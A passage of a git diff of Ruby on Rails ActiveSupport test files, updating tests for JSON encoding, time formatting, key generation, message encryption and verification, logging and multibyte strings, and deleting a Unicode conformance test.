+ StringTests = [[ 'this is the <string>', %("this is the \\u003cstring\\u003e")],
[ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
[ 'http://test.host/posts/1', %("http://test.host/posts/1")],
- [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f",
- %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000B\\f\\r\\u000E\\u000F\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001A\\u001B\\u001C\\u001D\\u001E\\u001F") ]]
+ [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029",
+ %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]]
ArrayTests = [[ ['a', 'b', 'c'], %([\"a\",\"b\",\"c\"]) ],
[ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
@@ -60,8 +88,14 @@ class TestJSONEncoding < ActiveSupport::TestCase
[ :"a b", %("a b") ]]
ObjectTests = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
- HashlikeTests = [[ Hashlike.new, %({\"a\":1}) ]]
- CustomTests = [[ Custom.new, '"custom"' ]]
+ HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]]
+ CustomTests = [[ Custom.new("custom"), '"custom"' ],
+ [ Custom.new(nil), 'null' ],
+ [ Custom.new(:a), '"a"' ],
+ [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ],
+ [ Custom.new({ :foo => "hello", :bar => "world" }), '{"bar":"world","foo":"hello"}' ],
+ [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ],
+ [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]]
RegexpTests = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
@@ -70,8 +104,8 @@ class TestJSONEncoding < ActiveSupport::TestCase
DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
StandardDateTests = [[ Date.new(2005,2,1), %("2005-02-01") ]]
- StandardTimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10Z") ]]
- StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10+00:00") ]]
+ StandardTimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000Z") ]]
+ StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000+00:00") ]]
StandardStringTests = [[ 'this is the <string>', %("this is the <string>")]]
def sorted_json(json)
@@ -82,6 +116,8 @@ class TestJSONEncoding < ActiveSupport::TestCase
constants.grep(/Tests$/).each do |class_tests|
define_method("test_#{class_tests[0..-6].underscore}") do
begin
+ prev = ActiveSupport.use_standard_json_time_format
+
ActiveSupport.escape_html_entities_in_json = class_tests !~ /^Standard/
ActiveSupport.use_standard_json_time_format = class_tests =~ /^Standard/
self.class.const_get(class_tests).each do |pair|
@@ -89,16 +125,16 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
ensure
ActiveSupport.escape_html_entities_in_json = false
- ActiveSupport.use_standard_json_time_format = false
+ ActiveSupport.use_standard_json_time_format = prev
end
end
end
- def test_json_variable
- assert_deprecated do
- assert_equal ActiveSupport::JSON::Variable.new('foo'), 'foo'
- assert_equal ActiveSupport::JSON::Variable.new('alert("foo")'), 'alert("foo")'
- end
+ def test_process_status
+ # There doesn't seem to be a good way to get a handle on a Process::Status object without actually
+ # creating a child process, hence this to populate $?
+ system("not_a_real_program_#{SecureRandom.hex}")
+ assert_equal %({"exitstatus":#{$?.exitstatus},"pid":#{$?.pid}}), ActiveSupport::JSON.encode($?)
end
def test_hash_encoding
@@ -112,37 +148,72 @@ class TestJSONEncoding < ActiveSupport::TestCase
def test_utf8_string_encoded_properly
result = ActiveSupport::JSON.encode('€2.99')
- assert_equal '"\\u20ac2.99"', result
+ assert_equal '"€2.99"', result
assert_equal(Encoding::UTF_8, result.encoding)
result = ActiveSupport::JSON.encode('✎☺')
- assert_equal '"\\u270e\\u263a"', result
+ assert_equal '"✎☺"', result
assert_equal(Encoding::UTF_8, result.encoding)
end
def test_non_utf8_string_transcodes
s = '二'.encode('Shift_JIS')
result = ActiveSupport::JSON.encode(s)
- assert_equal '"\\u4e8c"', result
+ assert_equal '"二"', result
assert_equal Encoding::UTF_8, result.encoding
end
+ def test_wide_utf8_chars
+ w = '𠜎'
+ result = ActiveSupport::JSON.encode(w)
+ assert_equal '"𠜎"', result
+ end
+
+ def test_wide_utf8_roundtrip
+ hash = { string: "ð’‘" }
+ json = ActiveSupport::JSON.encode(hash)
+ decoded_hash = ActiveSupport::JSON.decode(json)
+ assert_equal "ð’‘", decoded_hash['string']
+ end
+
+ def test_reading_encode_big_decimal_as_string_option
+ assert_deprecated do
+ assert ActiveSupport.encode_big_decimal_as_string
+ end
+ end
+
+ def test_setting_deprecated_encode_big_decimal_as_string_option
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = true
+ end
+
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = false
+ end
+ end
+
def test_exception_raised_when_encoding_circular_reference_in_array
a = [1]
a << a
- assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ assert_deprecated do
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
end
def test_exception_raised_when_encoding_circular_reference_in_hash
a = { :name => 'foo' }
a[:next] = a
- assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ assert_deprecated do
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
end
def test_exception_raised_when_encoding_circular_reference_in_hash_inside_array
a = { :name => 'foo', :sub => [] }
a[:sub] << a
- assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ assert_deprecated do
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
end
def test_hash_key_identifiers_are_always_quoted
@@ -159,23 +230,24 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
def test_time_to_json_includes_local_offset
- ActiveSupport.use_standard_json_time_format = true
- with_env_tz 'US/Eastern' do
- assert_equal %("2005-02-01T15:15:10-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+ with_standard_json_time_format(true) do
+ with_env_tz 'US/Eastern' do
+ assert_equal %("2005-02-01T15:15:10.000-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+ end
end
- ensure
- ActiveSupport.use_standard_json_time_format = false
end
def test_hash_with_time_to_json
- assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
+ with_standard_json_time_format(false) do
+ assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
+ end
end
def test_nested_hash_with_float
assert_nothing_raised do
hash = {
"CHI" => {
- :dislay_name => "chicago",
+ :display_name => "chicago",
:latitude => 123.234
}
}
@@ -183,6 +255,31 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
end
+ def test_hash_like_with_options
+ h = Hashlike.new
+ json = h.to_json :only => [:foo]
+
+ assert_equal({"foo"=>"hello"}, JSON.parse(json))
+ end
+
+ def test_object_to_json_with_options
+ obj = Object.new
+ obj.instance_variable_set :@foo, "hello"
+ obj.instance_variable_set :@bar, "world"
+ json = obj.to_json :only => ["foo"]
+
+ assert_equal({"foo"=>"hello"}, JSON.parse(json))
+ end
+
+ def test_struct_to_json_with_options
+ struct = Struct.new(:foo, :bar).new
+ struct.foo = "hello"
+ struct.bar = "world"
+ json = struct.to_json :only => [:foo]
+
+ assert_equal({"foo"=>"hello"}, JSON.parse(json))
+ end
+
def test_hash_should_pass_encoding_options_to_children_in_as_json
person = {
:name => 'John',
@@ -233,12 +330,39 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
end
- def test_enumerable_should_pass_encoding_options_to_children_in_as_json
- people = [
- { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
- { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ People = Class.new(BasicObject) do
+ include Enumerable
+ def initialize()
+ @people = [
+ { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
+ { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ ]
+ end
+ def each(*, &blk)
+ @people.each do |p|
+ yield p if blk
+ p
+ end.each
+ end
+ end
+
+ def test_enumerable_should_generate_json_with_as_json
+ json = People.new.as_json :only => [:address, :city]
+ expected = [
+ { 'address' => { 'city' => 'London' }},
+ { 'address' => { 'city' => 'Paris' }}
]
- json = people.each.as_json :only => [:address, :city]
+
+ assert_equal(expected, json)
+ end
+
+ def test_enumerable_should_generate_json_with_to_json
+ json = People.new.to_json :only => [:address, :city]
+ assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+ end
+
+ def test_enumerable_should_pass_encoding_options_to_children_in_as_json
+ json = People.new.each.as_json :only => [:address, :city]
expected = [
{ 'address' => { 'city' => 'London' }},
{ 'address' => { 'city' => 'Paris' }}
@@ -248,22 +372,39 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
def test_enumerable_should_pass_encoding_options_to_children_in_to_json
- people = [
- { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
- { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
- ]
- json = people.each.to_json :only => [:address, :city]
+ json = People.new.each.to_json :only => [:address, :city]
assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
end
- def test_to_json_should_not_keep_options_around
+ def test_hash_to_json_should_not_keep_options_around
f = CustomWithOptions.new
f.foo = "hello"
f.bar = "world"
hash = {"foo" => f, "other_hash" => {"foo" => "other_foo", "test" => "other_test"}}
- assert_equal(%({"foo":{"foo":"hello","bar":"world"},"other_hash":{"foo":"other_foo","test":"other_test"}}), hash.to_json)
+ assert_equal({"foo"=>{"foo"=>"hello","bar"=>"world"},
+ "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, ActiveSupport::JSON.decode(hash.to_json))
+ end
+
+ def test_array_to_json_should_not_keep_options_around
+ f = CustomWithOptions.new
+ f.foo = "hello"
+ f.bar = "world"
+
+ array = [f, {"foo" => "other_foo", "test" => "other_test"}]
+ assert_equal([{"foo"=>"hello","bar"=>"world"},
+ {"foo"=>"other_foo","test"=>"other_test"}], ActiveSupport::JSON.decode(array.to_json))
+ end
+
+ def test_hash_as_json_without_options
+ json = { foo: OptionsTest.new }.as_json
+ assert_equal({"foo" => :default}, json)
+ end
+
+ def test_array_as_json_without_options
+ json = [ OptionsTest.new ].as_json
+ assert_equal([:default], json)
end
def test_struct_encoding
@@ -288,24 +429,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal({"name" => "David",
"sub" => {
"name" => "David",
- "date" => "2010/01/01" }}, JSON.parse(json_custom))
+ "date" => "2010-01-01" }}, ActiveSupport::JSON.decode(json_custom))
assert_equal({"name" => "David", "email" => "sample@example.com"},
- JSON.parse(json_strings))
+ ActiveSupport::JSON.decode(json_strings))
- assert_equal({"name" => "David", "date" => "2010/01/01"},
- JSON.parse(json_string_and_date))
- end
-
- def test_opt_out_big_decimal_string_serialization
- big_decimal = BigDecimal('2.5')
-
- begin
- ActiveSupport.encode_big_decimal_as_string = false
- assert_equal big_decimal.to_s, big_decimal.to_json
- ensure
- ActiveSupport.encode_big_decimal_as_string = true
- end
+ assert_equal({"name" => "David", "date" => "2010-01-01"},
+ ActiveSupport::JSON.decode(json_string_and_date))
end
def test_nil_true_and_false_represented_as_themselves
@@ -314,16 +444,104 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal false, false.as_json
end
+ def test_json_gem_dump_by_passing_active_support_encoder
+ h = HashWithAsJson.new
+ h[:foo] = "hello"
+ h[:bar] = "world"
+
+ assert_equal %({"foo":"hello","bar":"world"}), JSON.dump(h)
+ assert_nil h.as_json_called
+ end
+
+ def test_json_gem_generate_by_passing_active_support_encoder
+ h = HashWithAsJson.new
+ h[:foo] = "hello"
+ h[:bar] = "world"
+
+ assert_equal %({"foo":"hello","bar":"world"}), JSON.generate(h)
+ assert_nil h.as_json_called
+ end
+
+ def test_json_gem_pretty_generate_by_passing_active_support_encoder
+ h = HashWithAsJson.new
+ h[:foo] = "hello"
+ h[:bar] = "world"
+
+ assert_equal <<EXPECTED.chomp, JSON.pretty_generate(h)
+{
+ "foo": "hello",
+ "bar": "world"
+}
+EXPECTED
+ assert_nil h.as_json_called
+ end
+
+ def test_twz_to_json_with_use_standard_json_time_format_config_set_to_false
+ with_standard_json_time_format(false) do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+ assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(time)
+ end
+ end
+
+ def test_twz_to_json_with_use_standard_json_time_format_config_set_to_true
+ with_standard_json_time_format(true) do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+ assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(time)
+ end
+ end
+
+ def test_twz_to_json_with_custom_time_precision
+ with_standard_json_time_format(true) do
+ with_time_precision(0) do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+ assert_equal "\"1999-12-31T19:00:00-05:00\"", ActiveSupport::JSON.encode(time)
+ end
+ end
+ end
+
+ def test_time_to_json_with_custom_time_precision
+ with_standard_json_time_format(true) do
+ with_time_precision(0) do
+ assert_equal "\"2000-01-01T00:00:00Z\"", ActiveSupport::JSON.encode(Time.utc(2000))
+ end
+ end
+ end
+
+ def test_datetime_to_json_with_custom_time_precision
+ with_standard_json_time_format(true) do
+ with_time_precision(0) do
+ assert_equal "\"2000-01-01T00:00:00+00:00\"", ActiveSupport::JSON.encode(DateTime.new(2000))
+ end
+ end
+ end
+
+ def test_twz_to_json_when_wrapping_a_date_time
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(DateTime.new(2000), zone)
+ assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(time)
+ end
+
protected
def object_keys(json_object)
json_object[1..-2].scan(/([^{}:,\s]+):/).flatten.sort
end
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ def with_standard_json_time_format(boolean = true)
+ old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, boolean
+ yield
+ ensure
+ ActiveSupport.use_standard_json_time_format = old
+ end
+
+ def with_time_precision(value)
+ old_value = ActiveSupport::JSON::Encoding.time_precision
+ ActiveSupport::JSON::Encoding.time_precision = value
yield
ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ ActiveSupport::JSON::Encoding.time_precision = old_value
end
end
diff --git a/activesupport/test/key_generator_test.rb b/activesupport/test/key_generator_test.rb
index 525082d313..f7e8e9a795 100644
--- a/activesupport/test/key_generator_test.rb
+++ b/activesupport/test/key_generator_test.rb
@@ -29,4 +29,34 @@ class KeyGeneratorTest < ActiveSupport::TestCase
end
end
+class CachingKeyGeneratorTest < ActiveSupport::TestCase
+ def setup
+ @secret = SecureRandom.hex(64)
+ @generator = ActiveSupport::KeyGenerator.new(@secret, :iterations=>2)
+ @caching_generator = ActiveSupport::CachingKeyGenerator.new(@generator)
+ end
+
+ test "Generating a cached key for same salt and key size" do
+ derived_key = @caching_generator.generate_key("some_salt", 32)
+ cached_key = @caching_generator.generate_key("some_salt", 32)
+
+ assert_equal derived_key, cached_key
+ assert_equal derived_key.object_id, cached_key.object_id
+ end
+
+ test "Does not cache key for different salt" do
+ derived_key = @caching_generator.generate_key("some_salt", 32)
+ different_salt_key = @caching_generator.generate_key("other_salt", 32)
+
+ assert_not_equal derived_key, different_salt_key
+ end
+
+ test "Does not cache key for different length" do
+ derived_key = @caching_generator.generate_key("some_salt", 32)
+ different_length_key = @caching_generator.generate_key("some_salt", 64)
+
+ assert_not_equal derived_key, different_length_key
+ end
+end
+
end
diff --git a/activesupport/test/load_paths_test.rb b/activesupport/test/load_paths_test.rb
index 979e25bdf3..ac617a9fd8 100644
--- a/activesupport/test/load_paths_test.rb
+++ b/activesupport/test/load_paths_test.rb
@@ -10,7 +10,7 @@ class LoadPathsTest < ActiveSupport::TestCase
}
load_paths_count[File.expand_path('../../lib', __FILE__)] -= 1
- filtered = load_paths_count.select { |k, v| v > 1 }
- assert filtered.empty?, filtered.inspect
+ load_paths_count.select! { |k, v| v > 1 }
+ assert load_paths_count.empty?, load_paths_count.inspect
end
end
diff --git a/activesupport/test/logger_test.rb b/activesupport/test/logger_test.rb
index eedeca30a8..d2801849ca 100644
--- a/activesupport/test/logger_test.rb
+++ b/activesupport/test/logger_test.rb
@@ -120,4 +120,14 @@ class LoggerTest < ActiveSupport::TestCase
byte_string.force_encoding("ASCII-8BIT")
assert byte_string.include?(BYTE_STRING)
end
+
+ def test_silencing_everything_but_errors
+ @logger.silence do
+ @logger.debug "NOT THERE"
+ @logger.error "THIS IS HERE"
+ end
+
+ assert !@output.string.include?("NOT THERE")
+ assert @output.string.include?("THIS IS HERE")
+ end
end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index d6c31396b6..eb71369397 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -1,12 +1,5 @@
require 'abstract_unit'
-
-begin
- require 'openssl'
- OpenSSL::Digest::SHA1
-rescue LoadError, NameError
- $stderr.puts "Skipping MessageEncryptor test: broken OpenSSL install"
-else
-
+require 'openssl'
require 'active_support/time'
require 'active_support/json'
@@ -29,9 +22,9 @@ class MessageEncryptorTest < ActiveSupport::TestCase
end
def test_encrypting_twice_yields_differing_cipher_text
- first_messqage = @encryptor.encrypt_and_sign(@data).split("--").first
+ first_message = @encryptor.encrypt_and_sign(@data).split("--").first
second_message = @encryptor.encrypt_and_sign(@data).split("--").first
- assert_not_equal first_messqage, second_message
+ assert_not_equal first_message, second_message
end
def test_messing_with_either_encrypted_values_causes_failure
@@ -56,9 +49,25 @@ class MessageEncryptorTest < ActiveSupport::TestCase
end
def test_alternative_serialization_method
+ prev = ActiveSupport.use_standard_json_time_format
+ ActiveSupport.use_standard_json_time_format = true
encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), SecureRandom.hex(64), :serializer => JSONSerializer.new)
message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) })
- assert_equal encryptor.decrypt_and_verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
+ assert_equal exp, encryptor.decrypt_and_verify(message)
+ ensure
+ ActiveSupport.use_standard_json_time_format = prev
+ end
+
+ def test_message_obeys_strict_encoding
+ bad_encoding_characters = "\n!@#"
+ message, iv = @encryptor.encrypt_and_sign("This is a very \n\nhumble string"+bad_encoding_characters)
+
+ assert_not_decrypted("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+ assert_not_verified("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+
+ assert_not_decrypted([iv, message] * bad_encoding_characters)
+ assert_not_verified([iv, message] * bad_encoding_characters)
end
private
@@ -76,10 +85,8 @@ class MessageEncryptorTest < ActiveSupport::TestCase
end
def munge(base64_string)
- bits = ::Base64.decode64(base64_string)
+ bits = ::Base64.strict_decode64(base64_string)
bits.reverse!
::Base64.strict_encode64(bits)
end
end
-
-end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index 5adff41653..6c3519df9a 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -1,17 +1,10 @@
require 'abstract_unit'
-
-begin
- require 'openssl'
- OpenSSL::Digest::SHA1
-rescue LoadError, NameError
- $stderr.puts "Skipping MessageVerifier test: broken OpenSSL install"
-else
-
+require 'openssl'
require 'active_support/time'
require 'active_support/json'
class MessageVerifierTest < ActiveSupport::TestCase
-
+
class JSONSerializer
def dump(value)
ActiveSupport::JSON.encode(value)
@@ -21,40 +14,72 @@ class MessageVerifierTest < ActiveSupport::TestCase
ActiveSupport::JSON.decode(value)
end
end
-
+
def setup
@verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
@data = { :some => "data", :now => Time.local(2010) }
end
+ def test_valid_message
+ data, hash = @verifier.generate(@data).split("--")
+ assert !@verifier.valid_message?(nil)
+ assert !@verifier.valid_message?("")
+ assert !@verifier.valid_message?("#{data.reverse}--#{hash}")
+ assert !@verifier.valid_message?("#{data}--#{hash.reverse}")
+ assert !@verifier.valid_message?("purejunk")
+ end
+
def test_simple_round_tripping
message = @verifier.generate(@data)
+ assert_equal @data, @verifier.verified(message)
assert_equal @data, @verifier.verify(message)
end
- def test_missing_signature_raises
- assert_not_verified(nil)
- assert_not_verified("")
+ def test_verified_returns_false_on_invalid_message
+ assert !@verifier.verified("purejunk")
end
- def test_tampered_data_raises
- data, hash = @verifier.generate(@data).split("--")
- assert_not_verified("#{data.reverse}--#{hash}")
- assert_not_verified("#{data}--#{hash.reverse}")
- assert_not_verified("purejunk")
+ def test_verify_exception_on_invalid_message
+ assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+ @verifier.verify("purejunk")
+ end
end
-
+
def test_alternative_serialization_method
+ prev = ActiveSupport.use_standard_json_time_format
+ ActiveSupport.use_standard_json_time_format = true
verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new)
message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) })
- assert_equal verifier.verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
+ assert_equal exp, verifier.verified(message)
+ assert_equal exp, verifier.verify(message)
+ ensure
+ ActiveSupport.use_standard_json_time_format = prev
end
-
- def assert_not_verified(message)
- assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
- @verifier.verify(message)
+
+ def test_raise_error_when_argument_class_is_not_loaded
+ # To generate the valid message below:
+ #
+ # AutoloadClass = Struct.new(:foo)
+ # valid_message = @verifier.generate(foo: AutoloadClass.new('foo'))
+ #
+ valid_message = "BAh7BjoIZm9vbzonTWVzc2FnZVZlcmlmaWVyVGVzdDo6QXV0b2xvYWRDbGFzcwY6CUBmb29JIghmb28GOgZFVA==--f3ef39a5241c365083770566dc7a9eb5d6ace914"
+ exception = assert_raise(ArgumentError, NameError) do
+ @verifier.verified(valid_message)
end
+ assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+ "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+ exception = assert_raise(ArgumentError, NameError) do
+ @verifier.verify(valid_message)
+ end
+ assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+ "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
end
-end
+ def test_raise_error_when_secret_is_nil
+ exception = assert_raise(ArgumentError) do
+ ActiveSupport::MessageVerifier.new(nil)
+ end
+ assert_equal exception.message, 'Secret should not be nil.'
+ end
end
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index 2bf73291a2..94748dd991 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -3,19 +3,12 @@ require 'abstract_unit'
require 'multibyte_test_helpers'
require 'active_support/core_ext/string/multibyte'
-class String
- def __method_for_multibyte_testing_with_integer_result; 1; end
- def __method_for_multibyte_testing; 'result'; end
- def __method_for_multibyte_testing!; 'result'; end
- def __method_for_multibyte_testing_that_returns_nil!; end
-end
-
class MultibyteCharsTest < ActiveSupport::TestCase
include MultibyteTestHelpers
def setup
@proxy_class = ActiveSupport::Multibyte::Chars
- @chars = @proxy_class.new UNICODE_STRING
+ @chars = @proxy_class.new UNICODE_STRING.dup
end
def test_wraps_the_original_string
@@ -24,6 +17,8 @@ class MultibyteCharsTest < ActiveSupport::TestCase
end
def test_should_allow_method_calls_to_string
+ @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing; 'result'; end }
+
assert_nothing_raised do
@chars.__method_for_multibyte_testing
end
@@ -33,28 +28,35 @@ class MultibyteCharsTest < ActiveSupport::TestCase
end
def test_forwarded_method_calls_should_return_new_chars_instance
+ @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing; 'result'; end }
+
assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing
assert_not_equal @chars.object_id, @chars.__method_for_multibyte_testing.object_id
end
def test_forwarded_bang_method_calls_should_return_the_original_chars_instance_when_result_is_not_nil
+ @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing!; 'result'; end }
+
assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing!
assert_equal @chars.object_id, @chars.__method_for_multibyte_testing!.object_id
end
def test_forwarded_bang_method_calls_should_return_nil_when_result_is_nil
+ @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_that_returns_nil!; end }
+
assert_nil @chars.__method_for_multibyte_testing_that_returns_nil!
end
def test_methods_are_forwarded_to_wrapped_string_for_byte_strings
- original_encoding = BYTE_STRING.encoding
assert_equal BYTE_STRING.length, BYTE_STRING.mb_chars.length
- ensure
- BYTE_STRING.force_encoding(original_encoding)
end
def test_forwarded_method_with_non_string_result_should_be_returned_vertabim
- assert_equal ''.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result
+ str = ''
+ str.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
+ @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }
+
+ assert_equal str.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result
end
def test_should_concatenate
@@ -103,7 +105,6 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
@chars = UNICODE_STRING.dup.mb_chars
# Ruby 1.9 only supports basic whitespace
@whitespace = "\n\t "
- @byte_order_mark = [65279].pack('U')
end
def test_split_should_return_an_array_of_chars_instances
@@ -181,7 +182,7 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
end
def test_sortability
- words = %w(builder armor zebra).sort_by { |s| s.mb_chars }
+ words = %w(builder armor zebra).sort_by(&:mb_chars)
assert_equal %w(armor builder zebra), words
end
@@ -221,9 +222,9 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
end
def test_include_raises_when_nil_is_passed
- @chars.include?(nil)
- flunk "Expected chars.include?(nil) to raise TypeError or NoMethodError"
- rescue Exception
+ assert_raises TypeError, NoMethodError, "Expected chars.include?(nil) to raise TypeError or NoMethodError" do
+ @chars.include?(nil)
+ end
end
def test_index_should_return_character_offset
diff --git a/activesupport/test/multibyte_conformance.rb b/activesupport/test/multibyte_conformance.rb
deleted file mode 100644
index 2baf724da4..0000000000
--- a/activesupport/test/multibyte_conformance.rb
+++ /dev/null
@@ -1,129 +0,0 @@
-# encoding: utf-8
-
-require 'abstract_unit'
-require 'multibyte_test_helpers'
-
-require 'fileutils'
-require 'open-uri'
-require 'tmpdir'
-
-class Downloader
- def self.download(from, to)
- unless File.exist?(to)
- $stderr.puts "Downloading #{from} to #{to}"
- unless File.exist?(File.dirname(to))
- system "mkdir -p #{File.dirname(to)}"
- end
- open(from) do |source|
- File.open(to, 'w') do |target|
- source.each_line do |l|
- target.write l
- end
- end
- end
- end
- end
-end
-
-class MultibyteConformanceTest < ActiveSupport::TestCase
- include MultibyteTestHelpers
-
- UNIDATA_URL = "http://www.unicode.org/Public/#{ActiveSupport::Multibyte::Unicode::UNICODE_VERSION}/ucd"
- UNIDATA_FILE = '/NormalizationTest.txt'
- CACHE_DIR = File.join(Dir.tmpdir, 'cache')
-
- def setup
- FileUtils.mkdir_p(CACHE_DIR)
- Downloader.download(UNIDATA_URL + UNIDATA_FILE, CACHE_DIR + UNIDATA_FILE)
- @proxy = ActiveSupport::Multibyte::Chars
- end
-
- def test_normalizations_C
- each_line_of_norm_tests do |*cols|
- col1, col2, col3, col4, col5, comment = *cols
-
- # CONFORMANCE:
- # 1. The following invariants must be true for all conformant implementations
- #
